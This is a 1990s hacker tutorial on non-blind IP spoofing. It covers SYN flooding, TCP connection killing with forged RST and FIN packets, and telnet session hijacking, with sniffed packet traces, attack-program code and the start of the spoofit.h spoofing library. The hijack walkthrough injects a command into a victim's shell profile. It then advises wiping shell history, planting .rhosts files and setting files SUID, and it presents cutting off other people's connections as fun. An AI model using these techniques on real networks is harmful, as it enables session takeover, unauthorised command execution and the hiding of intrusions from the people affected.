All source code and text is freely available. You can spread it, as long
as you don't charge for it (exceptions are a small reproduction fee, if
it isn't spread together with commercial software, texts.)
You may not spread parts of the document, it should be spread as one
package. You may not modify the text and/or source code.
You can use the spoofit.h or derived code in your own programs as long as
they are not commercial (i.e. FREE), and you give me the credits for it.
1. Short explanation of some words
----------------------------------
This is a short explanation of some words you might see in the
text/source. You probably know all this, but I put it in here anyway.
Sniffit
My favourite Packet Sniffer, all sniffed sequences in this
(At time of writing a pre-release 0.3.2)
IP-spoofing (further referenced to as spoofing)
The forging of IP packets
NOTE that not only IP based protocols are spoofed.
NOTE that spoofing is also used on a constructive base (LAN spoofing,
not discussed here).
NOTE that I don't use it on a constructive base ;)
Non-blind spoofing
Using the spoofing to interfer with a connection that sends packets
along your subnet (so generally one of the 2 hosts involved is located
on your subnet, or all data traffic has to be passing your network
device,... you might consider taking a job at some transatlantic route
provider).
Blind spoofing
Using the spoofing to interfer with a connection (or creating one),
that does not send packets along your cable.
2. Description of sourcecode
----------------------------
2.1 Source included
-------------------
spoofit.h
The include file that provides some easy to use spoofing functions.
To understand the include file and it's functions, read the header of
that file for use of the C functions.
*.c
Example programs (on the use of spoofit.h) that are discussed in this
document.
Details on these programs are included in the appropriate sections.
sniper-rst.c
Basic TCP connection killer.
(denial-of-services)
sniper-fin.c
Basic TCP connection killer.
(denial-of-services)
hijack.c
Simple automated telnet connection hijacker.
2.2 Programmer notes
--------------------
These programs are just examples. That means, they could be improved a
lot. Because I wanted to keep them short and leave some stuff to your
imagination, they are very simple.
However they all work and are a good starting point.
3. TCP/IP (UDP) in an hazelnutshell
-----------------------------------
Because it has been explained enough in 'Phrack Volume Seven, Issue
Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of
documentation available on the subject I will only repeat some things
very briefly. (Please read the phrack #48 file or any other document on
the subject before reading this).
A connection is fully defined with 4 parameters, a source host and port,
and a destination host and port.
When you make a connection, data is send in packets. Packets take care of
low level trafic, and make sure the data arrives (sometimes with special
error handling). The spine of most networks is the IP protocol version 4.
It is totally independent of all hardware protocols.
TCP and UDP are higher level protocols wrapped up in IP packets.
All those packets consist of a header and data.
IP header contains (amongst other things): IP of source and destination
hosts for that packet, and the protocol type of the packet wrapped up in
it. (TCP=6, UDP=17, etc.).
UDP packets contain (amongst other things): port number of source and
destination host. UDP has no such thing as SEQ/ACK, it is a very weak
protocol.
TCP packets contain (amongst other things): port number of source and
destination host, sequence and acknowledge numbers (further refered to as
SEQ/ACK), and a bunch of flags.
SEQ number: is counted byte per byte, and gives you the number of the
NEXT byte to be send, or that is send in this packet.
ACK number: is the SEQ number that is expected from the other host.
SEQ numbers are chosen at connection initiation.
I said is was going to be short... If you didn't understand the above
text, read up on it first, because you won't understand sh!t of the rest.
4. Non-blind spoofing
---------------------
4.1 Know what you are doing
---------------------------
The concept of non-blind spoofing (NBS further in this doc) is pretty
simple. Because packets travel within your reach, you can get the current
sequence and acknowledge (SEQ/ACK further in this doc) numbers on the
connection.
NBS is thus a very easy and accurate method of attack, but limited to
connections going over your subnet.
In spoofing documentation these attacks are sometimes ommited, because
they are mostly 'denial-of-service' attacks, or because people don't
realise the advantage a spoof (in particulary a hijack) can have above
simple password sniffing.
Spoofing in generally is refered to as a verry high level of attack. This
refers to blind spoofing (BlS further in this doc), because NBS is
kidstuff for a competent coder.
4.2 SYN flooding
----------------
Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of
18'. I won't waste much time on it.
Setup:
host A <-----][----------X--------------->host B
|
host S <-----------------/
Concept:
Host S impersonates SYN (connection init) coming from host A, to host B.
Host A should be unreachable (e.g. turned off, non existant,...).
B sends out the second packet of the 3 way TCP handshake. Host B will now
wait for response of host A.
If host A is reachable it will tell host B (with a reset: RST) that it DID NOT
inititate a connection, and thus host B received a bogus packet. (In that case
host B will ingnore the SYN, and *normally* nothing will happen)
So if A is unreachable, B will wait for response some time.
When doing multiple attacks, the backlog of host B is going to be exceeded
and host B will not except new connections (read on TCP bugs for
additional features ;) for some time.
4.3 Connection Killing
----------------------
Setup:
host A <------X------------------------->host B
| A,B have a TCP connection running
host S <------/ A,S on same subnet
(setup is the same in both cases)
Use:
Clearing mudders of your net, annoying that dude typing an important
paper, etc... plain fun.
4.3.1 Using reset (RST)
-----------------------
Concept:
TCP packets have flags which indicate the status of the packet, like RST.
That is a flag used to reset a connection. To be accepted, only the
sequence number has to be correct (there is no ACK in a RST packet).
So we are going to wait for packets in a connection between A and B.
Assume we wait for packets to A. We will calculate (from B's packets)
the sequence number for A's packets (from B's ACK's), and fire a bogus RST
packet from S (faking to be A) to B.
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
(This is a good example of how things not always go as you want, see
below for a solution)
1) connection running...
we wait for a packet to get current SEQ/ACK (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679
FLAGS: -AP--- Window: 3400
(data removed because irrelevant, 2 bytes data)
2) This is the ACK of it + included data (witch causes SEQ number to
change, and thus messing up our scheme, because this came very fast.)
(B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant, 2 bytes data)
3) ACK of it. (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B
FLAGS: -A---- Window: 3400
(data removed because irrelevant)
4) further data (B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD767B ACK (hex): 57E1F2A8
FLAGS: -AP--- Window: 2238
(data removed because irrelevant)
5) ACK of it (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23
SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691
FLAGS: -A---- Window: 3400
6) Now we get 2 RST packets. How do you explain that? Well, the first reset
packet has been buffered somewhere on our system, because the ethernet
segment was busy when we wanted to send it. This is the 'unexpected
thing' I discussed above, here we are lucky, the data stream cooled down
so fast.
When it doesn't cool down so fast, we could miss our RST (or the
connection will be killed a little later then when we wanted), you'll see
some idea's on how to fix that problem.
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7679 FLAGS: ---R--
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810
SEQ (hex): B8BD7691 FLAGS: ---R--
(This was the packet that killed the connection)
Discussion of the program:
The discussion here is a bit weird , that is because 'sniper-rst.c' is
not designed to be an optimal killer, merly to be an example.
We have the problem of speed here. We miss some packets what causes those
resends. So we would design a better 'sniper' if we do the following:
- use blocking IO (not necessarilly, because the RST killer would
loose some of it's beauty (looping), this is dealt
with in the FIN killer example. Blocking is a
little faster when a lot of packets come after
each other.)
- multi-packet firing... fire more packets with incremented SEQ.
(this is commented in the source)
- waiting for a pure ACK packet (no data), because otherwise you
risk to much of getting mid transmission and not being fast enough.
(disadvantage is the 'waiting period' before the connection is
killed)
NOTE these examples were done on non-loaded networks, with non-loaded
servers, what makes it a worst case scenario for speed problems.
4.3.2 Closing a connection (FIN)
--------------------------------
Concept:
An other flag is FIN and says: "no more data from sender".
This flag is used when closing a connection down the normal legit way. So
if there was a way to make a packet that is accepted by one of the two
hosts, this host would believe the 'sender' didn't have any data left.
Following (real) packets would be ignored as they are considered bogus.
That's it, because we can sniff the current SEQ/ACK of the connection we
can pretend to be either host A or B, and provide the other host with
CORRECT packetinformation, and an evil FIN flag.
The beauty of it all is, that after a FIN is send the other host always
replies with one if it is accepted, so we have a way to verify our
killing, and can be 100% sure of success (if for some reason we missed a
SEQ or ACK, we can just resend).
RST killing is more popular and is prefered, but I've put this in as an
example, and I like it myself.
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
1) connection is running....
sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072'
and waits for a packet to take action (we need to get SEQ/ACK)
(mind you switching host A and B would be the same, only S would be
impersonating A instead of B)
suddenly a packet arrives... (A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98B ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3
9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E >
50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A .
~~~~~~~~~ > 2 data bytes
2) sniper detected it, and sends a bogus packet. (S as B -> A)
We calculate our SEQ as: ACK of (A->B) packet
We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet
(19C6B98B + 2 = 19C6B98D)
(so we tell A, we received the last packet, and will not transmit
further data)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---F Window: 7C00
(data removed because irrelevant)
3) host A now says: 'okay, you end the session, so here is my last data'
(A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D ACK (hex): 69C5473E
FLAGS: -AP--- Window: 3400
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---- Window: 3400
(data removed because irrelevant)
4) host A now has flushed its buffer and on his turn FIN's the connection.
(A->B)
sniper, intercepts this packet and now knows the hosts fell for the
spoof and the killing was a success!
(host A will no longer accept any data)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B998 ACK (hex): 69C5473F
FLAGS: -A---F Window: 3400
(data removed because irrelevant)
5) We impersonated B, making A believe we had no further data. But B
doesn't know that and continues to send packets.
(B->A)
host A has that connection closed, and thus thinks the real packets of
B are spoofed (or at least bogus)! So host A sends some reset packets
(RST).
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23
SEQ (hex): 69C5473E ACK (hex): 19C6B98D
FLAGS: -A---- Window: 3750
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072
SEQ (hex): 19C6B98D FLAGS: ---R--
(data removed because irrelevant)
6) This goes on for a couple of packets.
Discussion of the program (numbers correspond with those of 'An Actual
Attack'):
1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10);
if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);}
We use wait_packet on a non blocking socket. This way we can enable a
10 seconds timeout. This functions returns when the correct packet
has been delivered (or timeout).
2) sp_seq=pinfo.ack;
sp_ack=pinfo.seq+pinfo.datalen;
transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,
sp_seq,sp_ack,ACK|FIN);
We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we
don't send any data with it, our buffer is set to NULL and datalength
to 0.
NOTE together with FIN, you need to enable ACK.
3) N/A
4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5);
if(stat>=0)
{printf("Killed the connection...\n");
exit(0);}
We wait for a FIN packet (note the FIN in wait_packet). We use a 5
sec. timeout, if the function returns and stat>=0 (-1 on timeout), we
know our attempt was successfull.
5) N/A
6) N/A
NOTE We can have the same problem here as with the RST killer. But didn't
have it here, because the packet we responded upon was the end of a
data stream (in fact it was an echo from a shell command)
4.3.3 Improving
---------------
Except from multipacket firing, it is advised to launch 2 attacks (one in
both ways). This illiminates one side oriented connections to be handled
optimally. I think of things like downloading data, which is a one way
data-flow, it is much easier sending a RST from the (spoofed) receiver to
the sender, then the other way around.
Those 2 attacks could both impersonate host A and B, and thus giving is 4
times more chance of a succesfull kill.
I'll leave further experimenting up to you (use your imagination to handle
different situations).
4.4 Connection Hijacking
------------------------
Setup:
host A <------X------------------------->host B
| A,B have a TCP connection running (TELNET)
host S <------/ A,S on same subnet
Concept:
(suppose a TELNET from A (client) to B (server))
TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B
trusts the packets from A because of its correct SEQ/ACK numbers.
So if there was a way to mess up A's SEQ/ACK, B would stop believing A's
real packets.
We could then impersonate to be A, but using correct SEQ/ACK numbers
(that is numbers correct for B).
We would now have taken over the connection (host A is confused, B thinks
nothings wrong (almost correct, see 'actual attack'), and S sends
'correct' data to B).
This is called 'Hijacking' a connection. (generally hijacking a TELNET session,
but same could be done woth FTP, RLOGIN, etc...)
How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data
packet into the stream at the right time (S as A->B), the server B would
accept this data, and update ACK numbers, A would continue to send
it's old SEQ numbers, as it's unaware of our spoofed data.
Use:
I allready hear you wiseguys yelling: "Hey dude, why hijack a connection
if you can sniff those packets anyway??"
Well, anybody heared of One Time Passwords, Secure Key?? Case closed....
(S/Key: server challenges client, client and server calculate a code from
the challenge and password, and compare that code. The password itself is
never send on the cable, so you can't sniff sh!t).
(OTP: server has a list of passwords, once one is used, it is destroyed,
so sniffing gets you a password that has 'just' expired ;)
(ALL types of identification that happen at connection (encrypted or not,
trusted or not), and don't use encrypted data transfer, are vulnerable to
'hijacking'.)
An actual attack:
(These are real sniffed packets, although IP numbers of hosts were changed)
(suppose a TELNET from A (client) to B (server))
host A : 166.66.66.1
host B : 111.11.11.11
(S on same subnet as A)
1) connection running...
we look with sniffit, and see he's busy in a shell, we start 'hijack'
on host S as 'hijack 166.66.66.1 2035 111.11.11.11'
a packet containing from (A->B) is detected... hijack takes action...
(A->B)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EA ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l
~~~~
2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!)
(you gotta know what you are doing)
(B->A)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F6 ACK (hex): 5C8223EB
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB .
50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l
~~~~
3) A simple ACK from host A to B responding to that echo. Because we know
this can come, and we know a simple ACK doesn't contain data, we don't
need this for SEQ/ACK calculation.
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -A---- Window: 7C00
(data removed because irrelevant)
4) Now we impersonate further data (following packet 1). (S as A -> B)
We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B,
because we have to be as fast as possible, and packet 2 could be slow.
We send some backspaces and some enters. To clean up the command line.
We will probably still get some error message back from the shell.
But we handle that too! (see sourcecode)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F6
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 .
50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 .
0A . 0A .
5) This is the echo of our spoofed data. Look at ACK. (B->A)
5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a
success)
NOTE that at this point the connection is ours, and A's SEQ/ACK
numbers are completely f#cked up according to B.
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A67F7 ACK (hex): 5C8223F5
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B .
9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 .
50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H
5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A .
6) Hijack will now try to get on track of SEQ/ACK numbers again, to send
the data we want to be executed.
NOTE each time a packet 'out of numbering' arrives the host should
answer with correct SEQ/ACK, this provides us with the certainty
that a lot of packets are going to be send with correct (and not
changing) SEQ/ACK nrs. (this is where the mechanism of getting our
numbers back straight is based upon)
NOTE it's at this point the real TELNET client's session hangs, most
people ignore this and re-login after a few secs, accepting the
accident as Murphy's law.
(Well it *can* happen without any spoofing involved)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23
SEQ (hex): 5C8223EB ACK (hex): C34A67F7
FLAGS: -AP--- Window: 7C00
(data removed because irrelevant)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C8223F5
FLAGS: -A---- Window: 2238
(data removed because irrelevant)
7) We are back on track (or at least hijack is, because this is going
very fast). And we fire off our faked bash command.
echo "echo HACKED" >> $HOME/.profile
TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23
SEQ (hex): 5C8223F5 ACK (hex): C34A680B
FLAGS: -AP--- Window: 7C00
Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23
45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ?
9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B .
50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c
68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O
4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 .
8) now we wait for this data to be confirmed.
ACK = 5C8223F5 + 025 (=37 bytes)
TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040
SEQ (hex): C34A680B ACK (hex): 5C82241A
FLAGS: -AP--- Window: 2238
Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040
(data removed because irrelevant)
9) The connection runs on. Now you can execute more commands (just stay
on track of SEQ/ACK), and even finnish the connection (with the same
mechanism of sniper, or with sniper itself... here FIN is recommended).
NOTE: here it is important to be in a shell. But if you have been
watching someone, and you notice he's always directly going to
'pine' and you can't get inbetween on time.
NO PROBS.... just make a cleanup string that cleans up
'pine' and puts you back in the shell. (some control chars,
hotkeys, whatever....)
NOTE: if you clean up the .sh_history of .bash_history (whatever) this
attack is one of the nicest there is. Another advantage above
sniffing.
NOTE: Noone says you have to make a .rhosts file (rlogin and
family might be disabled), you can change permissions, put
stuff SUID, put it public, install stuff, mail, etc..
Discussion of the program (numbers correspond with those of 'An Actual
Attack'):
1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0);
Waiting for actual data (PSH is always used for packets containing
data in interactive services like TELNET)
2) N/A
3) N/A
4) sp_seq=attack_info.seq+attack_info.datalen;
sp_ack=attack_info.ack;
transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,
23,sp_seq,sp_ack,ACK|PSH);
We recalculate the sequence number (using SEQ and datalength of packet 1)
an we send a spoofed packet with ACK and PSH flag, containing the
cleanup data in to_data.
5) while(count<5)
{
wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==sp_seq+sizeof(to_data))
count=PERSONAL_TOUCH;
else count++;
};
We wait for a confirmation that our spoofed sequence is accepted. We
expect a packet with an ACK set (PSH or not). It should come within 5
packets, we use this limit, because we should be able to handle some
previous ACK packets!
NOTE we don't check SEQ nrs, because we have no clue of what they are
going to be (data might have been send our way, or not).
6) while(count<10)
{
old_seq=serv_seq;
old_ack=serv_ack;
wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P,
ACK,0);
if(attack_info.datalen==0)
{
serv_seq=attack_info.seq+attack_info.datalen;
serv_ack=attack_info.ack;
if( (old_seq==serv_seq)&&(serv_ack==old_ack) )
count=PERSONAL_TOUCH;
else count++;
}
};
To get back on track, we try to receive 2 ACK packets without data
with the same SEQ/ACK. We know enough packets will be send as a
response to incorrect packets from the confused host A.
This is how we get back on track.
NOTE In a case where A completely gave up, simple spoof a packet with
incorrect SEQ/ACK to get the correct numbers back.
7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,
SERVER,23,serv_ack,serv_seq,ACK|PSH);
Pretty clear....
8) while(count<5)
{
wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0);
if(attack_info.ack==serv_ack+sizeof(evil_data))
count=PERSONAL_TOUCH;
else count++;
};
and again waiting for confirmation.
NOTE after the above attack, hijack had produced the following output:
Starting Hijacking demo - Brecht Claerhout 1996
-----------------------------------------------
Takeover phase 1: Stealing connection.
Sending Spoofed clean-up data...
Waiting for spoof to be confirmed...
Phase 1 ended.
Takeover phase 2: Getting on track with SEQ/ACK's again
Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex)
Phase 2 ended.
Takeover phase 3: Sending MY data.
Sending evil data.
Waiting for evil data to be confirmed...
Phase 3 ended.
4.5 Other
---------
This list is far from complete, I'm sure you can think of other nice things
to do with this information, think, experiment and code!
5. The source code
------------------
---=[ spoofit.h ]=------------------------------------------------------------
/**************************************************************************/
/* Spoofit.h - Include file for easy creating of spoofed TCP packets */
/* Requires LINUX 1.3.x (or later) Kernel */
/* (illustration for 'A short overview of IP spoofing') */
/* V.1 - Copyright 1996 - Brecht Claerhout */
/* */
/* Purpose - Providing skilled people with a easy to use spoofing source */
/* I used it to be able to write my tools fast and short. */
/* Mind you this is only illustrative and can be easily */
/* optimised. */
/* */
/* Author - Dr_Sp00f (Himself) */
/* Serious advice, comments, statements, greets, always welcome */
/* flames, moronic 3l33t >/dev/null */
/* */
/* Disclaimer - This file is for educational purposes only. I am in */
/* NO way responsible for what you do with this file, */
/* or any damage you or this file causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands of, */
/* and catch up on those things first. */
/* */
/* Limited to - Linux 1.3.X or higher. */
/* If you know a little about your OS, shouldn't be to hard */
/* to port. */
/* */
/* Important note - You might have noticed I use non standard packet */
/* header struct's. How come?? Because I started like */
/* that on Sniffit because I wanted to do the */
/* bittransforms myself. */
/* Well I got so damned used to them, I keep using them, */
/* they are not very different, and not hard to use, so */
/* you'll easily use my struct's without any problem, */
/* this code and the examples show how to use them. */
/* my apologies for this inconvenience. */
/* */
/* None of this code can be used in commercial software. You are free to */
/* use it in any other non-commercial software (modified or not) as long */
/* as you give me the credits for it. You can spread this include file, */
/* but keep it unmodified. */
/* */
/**************************************************************************/
/* */
/* Easiest way to understand this library is to look at the use of it, in */
/* the example progs. */
/* */
/**** Sending packets *****************************************************/
/* */
/* int open_sending (void) */
/* Returns a filedescriptor to the sending socket. */
/* close it with close (int filedesc) */
/* */
/* void transmit_TCP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest,unsigned short sp_dest_port, */
/* unsigned long sp_seq, unsigned long sp_ack, */
/* unsigned short sp_flags) */
/* fire data away in a TCP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options (you should do the padding) */
/* TCP options (you should do the padding) */
/* data to be transmitted */
/* (NULL is nothing) */
/* note that all is optional, and IP en TCP options are*/
/* not often used. */
/* All data is put after eachother in one buffer. */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_tcpoptlen : length of TCP options (in bytes) */
/* sp_datalen : amount of data to be transmitted (bytes) */
/* sp_source : spoofed host that"sends packet" */
/* sp_source_port: spoofed port that "sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* sp_seq : sequence number of packet */
/* sp_ack : ACK of packet */
/* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */
/* */
/* void transmit_UDP (int sp_fd, char *sp_data, */
/* int sp_ipoptlen, int sp_datalen, */
/* char *sp_source, unsigned short sp_source_port, */
/* char *sp_dest, unsigned short sp_dest_port) */
/* fire data away in an UDP packet */
/* sp_fd : raw socket filedesc. */
/* sp_data : IP options */
/* data to be transmitted */
/* (NULL if none) */
/* sp_ipoptlen : length of IP options (in bytes) */
/* sp_datalen : amount of data to be transmitted */
/* sp_source : spoofed host that"sends packet" */
/* sp_source_port: spoofed port that "sends packet" */
/* sp_dest : host that should receive packet */
/* sp_dest_port : port that should receive packet */
/* */
/**** Receiving packets ***************************************************/
/* */
/* int open_receiving (char *rc_device, char mode) */
/* Returns fdesc to a receiving socket */
/* (if mode: IO_HANDLE don't call this twice, global var */
/* rc_fd_abc123 is initialised) */
/* rc_device: the device to use e.g. "eth0", "ppp0" */
/* be sure to change DEV_PREFIX accordingly! */
/* DEV_PREFIX is the length in bytes of the header that */
/* comes with a SOCKET_PACKET due to the network device */
/* mode: 0: normal mode, blocking, (read will wait till packet */
/* comes, mind you, we are in PROMISC mode) */
/* IO_NONBLOCK: non-blocking mode (read will not wait till */
/* usefull for active polling) */
/* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/
/* (IO_HANDLE is not recommended to use, as it should be */
/* modified according to own use, and it works bad on heavy */
/* traffic continuous monitoring. I needed it once, but left it */
/* in to make you able to have a look at Signal handled IO, */
/* personally I would have removed it, but some thought it */
/* doesn't do any harm anyway, so why remove... ) */
/* (I'm not giving any more info on IO_HANDLE as it is not */
/* needed for the example programs, and interested people can */
/* easilythey figure the code out theirselves.) */
/* (Besides IO_HANDLE can only be called ONCE in a program, */
/* other modes multiple times) */
/* */
/* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */
/* unsigned char *proto) */
/* This waits for a packet (mode default) and puts it in buffer or */
/* returns whether there is a pack or not (IO_NONBLOCK). */
/* It returns the packet length if there is one available, else 0 */
/* */
/* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */
/* char *wp_source, unsigned short wp_source_port, */
/* char *wp_dest, unsigned short wp_dest_port, */
/* int wp_flags, int wait_time); */
/* wp_fd: a receiving socket (default or IO_NONBLOCK) */
/* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */
/* ACK, flags, datalen of that packet. For further packet */
/* handling see the examples. */
/* struct sp_wait_packet { */
/* unsigned long seq,ack; */
/* unsigned short flags; */
/* int datalen; */
/* }; */
/* wp_source, wp_source_port : sender of packet */
/* wp_dest, wp_dest_port : receiver of packet */
/* wp_flags: flags that should be present in packet.. (mind you there */
/* could be more present, so check on return) */
/* note: if you don't care about flag, use 0 */
/* wait_time: if not zero, this function will return -1 if no correct */
/* packet has arrived within wait_time secs. */
/* (only works on IO_NONBLOCK socket) */
/* */
/* void set_filter (char *f_source, unsigned short f_source_port, */
/* char *f_dest, unsigned short f_dest_port) */
/* (for use with IO_HANDLE) */
/* Start the program to watch all trafic from source/port to */
/* dest/port. This enables the updating of global data. Can */
/* be called multiple times. */
/* */
/* void close_receiving (void) */
/* When opened a IO_HANDLE mode receiving socket close it with */
/* this. */
/* */
/**** Global DATA (IO_HANDLE mode) ****************************************/
/* */
/* When accessing global data, copy the values to local vars and then use */
/* them. Reduce access time to a minimum. */
